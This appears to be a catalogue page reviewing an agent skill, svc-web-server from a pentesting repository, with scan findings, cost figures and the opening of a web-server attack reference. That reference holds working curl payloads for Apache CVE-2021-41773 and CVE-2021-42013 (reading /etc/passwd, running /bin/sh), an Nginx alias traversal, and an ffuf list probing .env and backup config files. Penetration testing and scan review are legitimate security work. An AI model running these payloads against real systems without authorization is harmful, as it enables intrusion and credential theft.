Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add s0ld13rr/pentestcode --skill web-servergit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/s0ld13rr/pentestcode/web-server)<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/web-server"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/web-server/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/web-server"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/web-server.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 6 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 10 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 37 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 45 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 75 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high System Prompt Leakage · line 110 Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.Fix: Remove any instructions that reveal, print, or output system prompts or internal rules. System instructions should never be exposed to end users.
- medium Data Exfiltration · line 10 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00090 | $0.01272 |
| Opus 5.5 | $0.00036 | $0.00509 |
| Sonnet 5.5 | $0.00018 | $0.00254 |
| Haiku 4.5 | $0.00009 | $0.00127 |
Grade B, and why
svc-web-server scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
- **CVE-2021-42013** (Apache 2.4.49-50): RCE via `curl 'http://<t>/cgi-bin/.%%32%65/.%%32%65/bin/sh' -d 'echo;id'` Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
- **CVE-2021-41773** (Apache 2.4.49): Path traversal via `curl 'http://<t>/cgi-bin/.%2e/%2e%2e/etc/passwd'` How it starts
The opening of the file, as written. The whole thing — 115 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Web Server Attack Reference
Apache
Critical CVEs
- CVE-2021-41773 (Apache 2.4.49): Path traversal via
curl 'http://<t>/cgi-bin/.%2e/%2e%2e/etc/passwd' - CVE-2021-42013 (Apache 2.4.49-50): RCE via
curl 'http://<t>/cgi-bin/.%%32%65/.%%32%65/bin/sh' -d 'echo;id' - CVE-2019-0211 (Apache 2.4.17-2.4.38): Local privesc via scoreboard manipulation
- CVE-2017-9798 (Optionsbleed):
curl -sI -X OPTIONS http://<t>/— leaks memory
Misconfigurations
# Server-status exposure
curl http://<t>/server-status
curl http://<t>/server-info
# .htaccess / .htpasswd readable
curl http://<t>/.htaccess
curl http://<t>/.htpasswd
# Directory listing
curl http://<t>/icons/
Nginx
CVEs
- CVE-2017-7529 (Nginx <1.13.2): Integer overflow → info disclosure
- CVE-2021-23017: DNS resolver off-by-one heap write
Misconfigurations
# Alias traversal (missing trailing slash)
curl http://<t>/static../etc/passwd
# stub_status exposure
curl http://<t>/nginx_status
curl http://<t>/status
# Off-by-slash
# If: location /folder { alias /var/www/; }
# Then: /folder../etc/passwd works
IIS
CVEs
- CVE-2017-7269 (IIS 6.0): WebDAV buffer overflow → RCE
- CVE-2021-31166 (HTTP.sys): Wormable RCE via malformed header
Checks
# Short filename disclosure
curl http://<t>/~1/
# WebDAV methods
curl -X OPTIONS http://<t>/ -sI | grep -i allow
General Web Server Checks
# Technology detection
whatweb http://<t> -a 3
curl -sI http://<t> # single header dump is fine
Backup-file and sensitive-path checks: do these with ffuf/gobuster, NOT a curl
bash-loop. Put the candidate paths in a file and fuzz once:
# sensitive/backup paths in one run, then parse
cat > paths.txt <<'EOF'
.git/HEAD
.env
.DS_Store
web.config
wp-config.php.bak
robots.txt
sitemap.xml
index.php.bak
index.php.old
index.php.orig
index.php~
EOF
ffuf -w paths.txt -u http://<t>/FUZZ -mc 200,301,302,401,403 -maxtime 100 -o ffuf.json -of json
# then (separate command): gobuster_parse on the results
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 115 lines · 90 tokens per session scan B 8db11911901e
svc-web-server is a skill published in the GitHub repository s0ld13rr/pentestcode (849 stars, last pushed 14d ago), licensed MIT. It adds 90 tokens to every session and 1,272 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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